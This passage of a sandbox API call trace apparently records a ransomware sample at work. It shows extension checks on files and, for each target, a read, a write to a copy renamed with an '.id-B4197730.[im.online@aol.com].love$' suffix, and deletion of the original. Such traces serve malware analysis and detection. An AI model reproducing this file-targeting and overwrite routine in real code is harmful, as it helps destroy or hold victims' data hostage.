(lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0100.748] lstrlenW (lpString=".1cd") returned 4 [0100.748] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0100.748] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0100.748] lstrlenW (lpString=".jpg") returned 4 [0100.748] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0100.748] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0100.748] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0100.748] lstrlenW (lpString=".doc") returned 4 [0100.748] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0100.748] lstrlenW (lpString=".docx") returned 5 [0100.748] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0100.749] lstrlenW (lpString=".pdf") returned 4 [0100.749] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0100.749] lstrlenW (lpString=".xls") returned 4 [0100.749] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0100.749] lstrlenW (lpString=".xlsx") returned 5 [0100.749] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0100.749] lstrlenW (lpString=".ppt") returned 4 [0100.749] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0100.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0100.749] lstrlenW (lpString=".zip") returned 4 [0100.749] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0100.749] lstrlenW (lpString=".rar") returned 4 [0100.749] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0100.749] lstrlenW (lpString=".bz2") returned 4 [0100.749] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0100.749] lstrlenW (lpString=".7z") returned 3 [0100.749] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0100.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0100.749] lstrlenW (lpString=".dbf") returned 4 [0100.749] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0100.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0100.749] lstrlenW (lpString=".1cd") returned 4 [0100.749] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0100.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0100.749] lstrlenW (lpString=".jpg") returned 4 [0100.749] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0100.750] Sleep (dwMilliseconds=0x64) [0101.135] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0101.135] lstrlenW (lpString="LocalizedData.xml") returned 17 [0101.135] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0101.135] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=65238) returned 1 [0101.136] CloseHandle (hObject=0x350) returned 1 [0101.136] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 0x80 [0101.136] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0101.136] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0101.136] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.136] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.136] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0101.137] GetLastError () returned 0x0 [0101.137] ReadFile (in: hFile=0x350, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0xfed6, lpOverlapped=0x0) returned 1 [0101.143] WriteFile (in: hFile=0x354, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xfee0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xfee0, lpOverlapped=0x0) returned 1 [0101.145] ReadFile (in: hFile=0x350, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.145] WriteFile (in: hFile=0x354, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xf6, lpOverlapped=0x0) returned 1 [0101.145] SetEndOfFile (hFile=0x354) returned 1 [0101.145] CloseHandle (hObject=0x354) returned 1 [0101.148] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.148] SetEndOfFile (hFile=0x350) returned 1 [0101.149] CloseHandle (hObject=0x350) returned 1 [0101.150] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0101.150] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 1 [0101.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0101.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0101.155] lstrlenW (lpString=".doc") returned 4 [0101.155] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.155] lstrlenW (lpString=".docx") returned 5 [0101.155] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0101.155] lstrlenW (lpString=".pdf") returned 4 [0101.155] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.155] lstrlenW (lpString=".xls") returned 4 [0101.155] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.155] lstrlenW (lpString=".xlsx") returned 5 [0101.155] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0101.155] lstrlenW (lpString=".ppt") returned 4 [0101.155] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0101.155] lstrlenW (lpString=".zip") returned 4 [0101.155] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.155] lstrlenW (lpString=".rar") returned 4 [0101.155] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.155] lstrlenW (lpString=".bz2") returned 4 [0101.155] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.155] lstrlenW (lpString=".7z") returned 3 [0101.155] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0101.155] lstrlenW (lpString=".dbf") returned 4 [0101.155] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0101.156] lstrlenW (lpString=".1cd") returned 4 [0101.156] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0101.156] lstrlenW (lpString=".jpg") returned 4 [0101.156] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0101.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0101.156] lstrlenW (lpString=".doc") returned 4 [0101.156] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.156] lstrlenW (lpString=".docx") returned 5 [0101.156] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0101.156] lstrlenW (lpString=".pdf") returned 4 [0101.156] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.156] lstrlenW (lpString=".xls") returned 4 [0101.156] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.156] lstrlenW (lpString=".xlsx") returned 5 [0101.156] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0101.156] lstrlenW (lpString=".ppt") returned 4 [0101.156] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0101.156] lstrlenW (lpString=".zip") returned 4 [0101.156] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.156] lstrlenW (lpString=".rar") returned 4 [0101.156] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.156] lstrlenW (lpString=".bz2") returned 4 [0101.156] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.156] lstrlenW (lpString=".7z") returned 3 [0101.156] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0101.156] lstrlenW (lpString=".dbf") returned 4 [0101.156] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0101.156] lstrlenW (lpString=".1cd") returned 4 [0101.157] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.157] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0101.157] lstrlenW (lpString=".jpg") returned 4 [0101.157] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.157] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0101.157] lstrlenW (lpString="LocalizedData.xml") returned 17 [0101.157] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0101.157] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=79634) returned 1 [0101.157] CloseHandle (hObject=0x350) returned 1 [0101.157] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 0x80 [0101.157] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0101.157] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0101.158] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.158] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.158] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0101.158] GetLastError () returned 0x0 [0101.158] ReadFile (in: hFile=0x350, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x13712, lpOverlapped=0x0) returned 1 [0101.170] WriteFile (in: hFile=0x354, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x13720, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x13720, lpOverlapped=0x0) returned 1 [0101.173] ReadFile (in: hFile=0x350, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.173] WriteFile (in: hFile=0x354, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xf6, lpOverlapped=0x0) returned 1 [0101.173] SetEndOfFile (hFile=0x354) returned 1 [0101.173] CloseHandle (hObject=0x354) returned 1 [0101.176] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.176] SetEndOfFile (hFile=0x350) returned 1 [0101.178] CloseHandle (hObject=0x350) returned 1 [0101.178] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0101.178] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 1 [0101.178] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0101.178] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0101.178] lstrlenW (lpString=".doc") returned 4 [0101.178] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.178] lstrlenW (lpString=".docx") returned 5 [0101.179] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0101.179] lstrlenW (lpString=".pdf") returned 4 [0101.179] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.179] lstrlenW (lpString=".xls") returned 4 [0101.179] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.179] lstrlenW (lpString=".xlsx") returned 5 [0101.179] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0101.179] lstrlenW (lpString=".ppt") returned 4 [0101.179] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.179] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0101.179] lstrlenW (lpString=".zip") returned 4 [0101.179] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.179] lstrlenW (lpString=".rar") returned 4 [0101.179] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.179] lstrlenW (lpString=".bz2") returned 4 [0101.179] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.179] lstrlenW (lpString=".7z") returned 3 [0101.179] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.179] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0101.179] lstrlenW (lpString=".dbf") returned 4 [0101.179] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.179] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0101.179] lstrlenW (lpString=".1cd") returned 4 [0101.179] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.179] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0101.179] lstrlenW (lpString=".jpg") returned 4 [0101.179] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.179] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0101.179] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0101.179] lstrlenW (lpString=".doc") returned 4 [0101.179] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.179] lstrlenW (lpString=".docx") returned 5 [0101.180] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0101.180] lstrlenW (lpString=".pdf") returned 4 [0101.180] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.180] lstrlenW (lpString=".xls") returned 4 [0101.180] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.180] lstrlenW (lpString=".xlsx") returned 5 [0101.180] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0101.180] lstrlenW (lpString=".ppt") returned 4 [0101.180] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.180] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0101.180] lstrlenW (lpString=".zip") returned 4 [0101.180] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.180] lstrlenW (lpString=".rar") returned 4 [0101.180] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.180] lstrlenW (lpString=".bz2") returned 4 [0101.180] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.180] lstrlenW (lpString=".7z") returned 3 [0101.180] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.180] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0101.180] lstrlenW (lpString=".dbf") returned 4 [0101.180] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.180] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0101.180] lstrlenW (lpString=".1cd") returned 4 [0101.180] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.180] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0101.180] lstrlenW (lpString=".jpg") returned 4 [0101.180] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.180] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0101.180] lstrlenW (lpString="LocalizedData.xml") returned 17 [0101.180] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0101.181] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=79296) returned 1 [0101.181] CloseHandle (hObject=0x350) returned 1 [0101.181] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 0x80 [0101.181] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0101.181] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0101.181] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.181] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.181] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0101.182] GetLastError () returned 0x0 [0101.182] ReadFile (in: hFile=0x350, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x135c0, lpOverlapped=0x0) returned 1 [0101.571] WriteFile (in: hFile=0x354, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x135d0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x135d0, lpOverlapped=0x0) returned 1 [0101.573] ReadFile (in: hFile=0x350, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.573] WriteFile (in: hFile=0x354, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xf6, lpOverlapped=0x0) returned 1 [0101.574] SetEndOfFile (hFile=0x354) returned 1 [0101.574] CloseHandle (hObject=0x354) returned 1 [0101.576] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.576] SetEndOfFile (hFile=0x350) returned 1 [0101.578] CloseHandle (hObject=0x350) returned 1 [0101.578] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0101.578] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 1 [0101.579] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0101.579] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0101.579] lstrlenW (lpString=".doc") returned 4 [0101.579] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.579] lstrlenW (lpString=".docx") returned 5 [0101.579] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0101.579] lstrlenW (lpString=".pdf") returned 4 [0101.579] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.579] lstrlenW (lpString=".xls") returned 4 [0101.579] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.579] lstrlenW (lpString=".xlsx") returned 5 [0101.579] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0101.579] lstrlenW (lpString=".ppt") returned 4 [0101.579] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.579] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0101.579] lstrlenW (lpString=".zip") returned 4 [0101.579] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.579] lstrlenW (lpString=".rar") returned 4 [0101.579] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.579] lstrlenW (lpString=".bz2") returned 4 [0101.579] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.579] lstrlenW (lpString=".7z") returned 3 [0101.579] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.579] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0101.579] lstrlenW (lpString=".dbf") returned 4 [0101.579] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.579] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0101.579] lstrlenW (lpString=".1cd") returned 4 [0101.580] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0101.580] lstrlenW (lpString=".jpg") returned 4 [0101.580] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0101.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0101.580] lstrlenW (lpString=".doc") returned 4 [0101.580] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.580] lstrlenW (lpString=".docx") returned 5 [0101.580] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0101.580] lstrlenW (lpString=".pdf") returned 4 [0101.580] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.580] lstrlenW (lpString=".xls") returned 4 [0101.580] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.580] lstrlenW (lpString=".xlsx") returned 5 [0101.580] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0101.580] lstrlenW (lpString=".ppt") returned 4 [0101.580] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0101.580] lstrlenW (lpString=".zip") returned 4 [0101.580] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.580] lstrlenW (lpString=".rar") returned 4 [0101.580] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.580] lstrlenW (lpString=".bz2") returned 4 [0101.580] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.580] lstrlenW (lpString=".7z") returned 3 [0101.580] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0101.580] lstrlenW (lpString=".dbf") returned 4 [0101.580] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0101.580] lstrlenW (lpString=".1cd") returned 4 [0101.580] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0101.580] lstrlenW (lpString=".jpg") returned 4 [0101.580] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.581] lstrcmpiW (lpString1=".rtf", lpString2=".love$") returned 1 [0101.581] lstrlenW (lpString="eula.rtf") returned 8 [0101.581] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 